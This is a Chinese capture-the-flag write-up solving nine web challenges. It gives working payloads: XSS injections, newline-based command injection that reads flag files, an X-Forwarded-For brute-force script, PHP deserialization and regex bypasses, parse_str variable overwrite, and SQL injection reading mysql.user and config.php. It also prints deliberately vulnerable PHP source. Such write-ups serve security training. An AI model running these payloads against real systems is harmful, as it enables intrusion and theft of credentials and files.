WEB01
XSS水题
直接提交poc吧
http://xxx.com/xss1.php?bug="></h2><h1+onclick="alert()">ssss<h1><h2++value="&submit=submit!
WEB02
这题需要我们构造远程js连接,通过CSS层级列表的background:url(http://xxx.com)
方式去引入js,当然,我们需要绕过同源保护策略
GOGOGO我们的exp(PS我这儿只是做示范引入Jquery)
http://xxx.com/xss2.php?bug="><style>body{background:url(https://code.jquery.com/jquery-3.2.1.min.js);}<style><h1+value"&submit=æ交
嗯,成功引入说明同源策略并没有
WEB03
这题有个hint:swp
嗯,Linux的交换空间文件,有点意思
好吧,构造请求交换空间文件的请求
拿到这个文件构造出来的源代码句子
?>
echo "<pre>{$cmd}</pre>"; // Feedback for the end user }
$cmd = shell_exec( 'ping -c 1 ' . $target ); // *nix
else { } $cmd = shell_exec( 'ping ' . $target );
// Windows
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Determine OS and execute the ping command.
// var_dump($target);
$target = str_replace( array_keys( $substitutions ),
$substitutions, $target ); // Remove any of the charactars in the array (blacklist).
);
'||' => '', '`' => '', ')' => '', '(' => '', '$' => '',
'-' => '', '|' => '', ';' => '', '&' => '',
$substitutions = array( // Set blacklist //
var_dump($target);
$target=trim($target); // var_dump($target);
$target = $_REQUEST[ 'ip' ]; // Get input
<?php
emmmmmmm交换空间里拿到的是反的,正回去
$target = $_REQUEST['ip'];
$target = trim($target);
var_dump($target);
$substitutions = array(
'-' => '', '|' => '', ';' => '', '&' => '', '||' => '', '`' => '', ')' => '', '(' => '', '$' => '',);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping -c 1 ' . $target);
} else {
$cmd = shell_exec('ping ' . $target);
}
echo "<pre>{$cmd}</pre>";
可以看到黑名单了
这个时候我们就需要构造命令注入绕过黑名单过滤去获取FLAG
http://xxx.com:4002/?ip=127.0.0.1%0Als
可以看到flag.php了,接下来去读取它审查元素可以看到FLAG
http://xxx.com:4002/?ip=127.0.0.1%0Acat%20flag.php
WEB04</>
这个。。。。提示???
哦,这样啊,好的,伪造请求IP,现在我们写个python的exp
怎么伪造呢?我们需要修改请求头的X-Forwarded-For:伪造的IP地址就行啦
下面是poc
(PS:多手写exp不去借助工具来跑,是训练ctf的一个好技巧)
# -*- coding:utf-8 -*-
url="http://xxx.com:2502"
ip="192.168.65."
import urllib.request,urllib.response,http.cookiejar
page_len=-1
for x in range(1,256):
rip=ip+str(x)
header_dict = {'X-Forwarded-For':rip}
req = urllib.request.Request(url, headers=header_dict)
page = urllib.request.urlopen(req).read().decode("utf-8")
if(len(page)!=page_len):
print(len(page))
print(rip)
page_len=len(page)
WEB05</>
继续审查元素,我们可以看到一段有趣的提示是这样的
//try to get flag13579.php
class just4fun {
public $filename;
function __toString() {
return @file_get_contents($this->filename);
}
}
$data = stripslashes($_GET['data']);
if (!$data) {
die("hello from y");
}
$token = $data[0];
$pass = true;
switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;
default:
$pass = false;
}
if (!$pass) {
die("cry again!");
}
echo unserialize($data);
嗯unserialize,php???反序列化嘛。 现在我们本地测试一下需要序列化的内容
class just4fun {
public $filename;
function __toString() {
return @file_get_contents($this->filename);
}
}
$o=new just4fun();
$o->filename="flag13579.php";
echo serialize($o);
得到对象字符串
O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}
构造反序列化请求
?data=O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}
发现上面有个正则表达式
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
把O:8给过滤掉了,请求里需要给+号连接符使得正则表达式匹配不上才能获得FLAG
?data=O:%2b8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}
WEB06</>
根据提示取得备份文SYB.php.bak
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>SYB</title>
</head>
<body style="background-repeat:no-repeat;" background="9s.jpg">
<!--9s在基地的日常扫描中,发现bunker源码泄露了出
来,但这种编程语言对于9s来说太陌生了,你能帮
他看看吗? pod042:发现gedit备份文件-->
PHP代码段
ini_set("display_errors", 0);//取消错误回显
include_once flag.php;//包含flag所在 的php文件
$str = strstr($_SERVER['REQUEST_URI'], '?');//从URL的问号符分割字符串
$str = substr($str,1);//去掉问号
$str = str_replace('key','',$str);//替换字符串中的key为空字符
parse_str($str);//从字符串中直接转换为变量
//判断,当key1与key2的md5相等而且key1与key2绝对不相等时,输出flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag;
}
</body>
</html>
代码复制下来,本地搭建环境进行测试
构造请求如下
http://127.0.0.1/xxx.php?kkeyekeyy1=123&kkeyekeyy2=123
调试结果
变量覆盖成功
WEB07
SQL水题
打开页面看到源代码
error_reporting(0);
if($_GET['debug']=='1') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
看看数据库root
?id=1 and 1=2 union select User from mysql.user#
能搞到,权限很高,所以直接读文件吧
?id=1 and 1=2 union select load_file('/var/www/html/config.php')#
WEB08
找到hint
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = '?????????????';
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
还是反序列化
开始构造吧
class just4fun {
var $enter;
var $secret;
}
$o=new just4fun();
$o->secret="?????????????";
$o->enter=&$o->secret;
echo serialize($o);
输出字符串
O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}
构造请求
http://xxx.com/?pass=O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}
##WEB09
根据提示取得index.php.bak的代码
.index.php.swp
接下来是解读代码的时间了
b0VIM 7.4 'k圷? H root a9446844cd0b /app/index.php
3210 #"! U tp ad W
? ? ? ? ? n T Q O < : ? ? ? ? ? ? ? [ R G ? ? ? echo "<pre>{$cmd}</pre>";
// Feedback for the end user
}
$cmd = shell_exec( 'ping -c 1 ' .$ip );
// *nix
}else {
$cmd = shell_exec( 'ping ' .$ip );
// Windows
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Determine OS and execute the ping command.
}
die("length error!");
if(strlen($ip)<7||strlen($ip)>21){
echo strlen($ip);
}
die("not allowed!");
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
$ip = isset($_POST['ip'])?$_POST['ip']:die();
echo 'try to getshell';
<?php
把它正序一下
/**
* Created by PhpStorm.
* User: Summer-V
* Date: 2017/8/8
* Time: 1:53
*/
echo 'try to getshell';
$ip = isset($_POST['ip'])?$_POST['ip']:die();
//正则表达式匹配字符串是否为合法IP
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
die("not allowed!");
}
//重点重点重点,这儿有字符长度限制
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){
die("length error!");
}
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' .$ip );
}else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
现在给出一个POST请求
ps:我这儿找了半天。。。。结果在上级目录里面
ip=0.0.0.0%0Acd%20..%0Als
FLAG文件的名字已经长过了限制字符的长度,怎么办呢?用通配符吧,构造请求
ip=0.0.0.0%0Acd%20..%0Acat%20f*
成功取得FLAG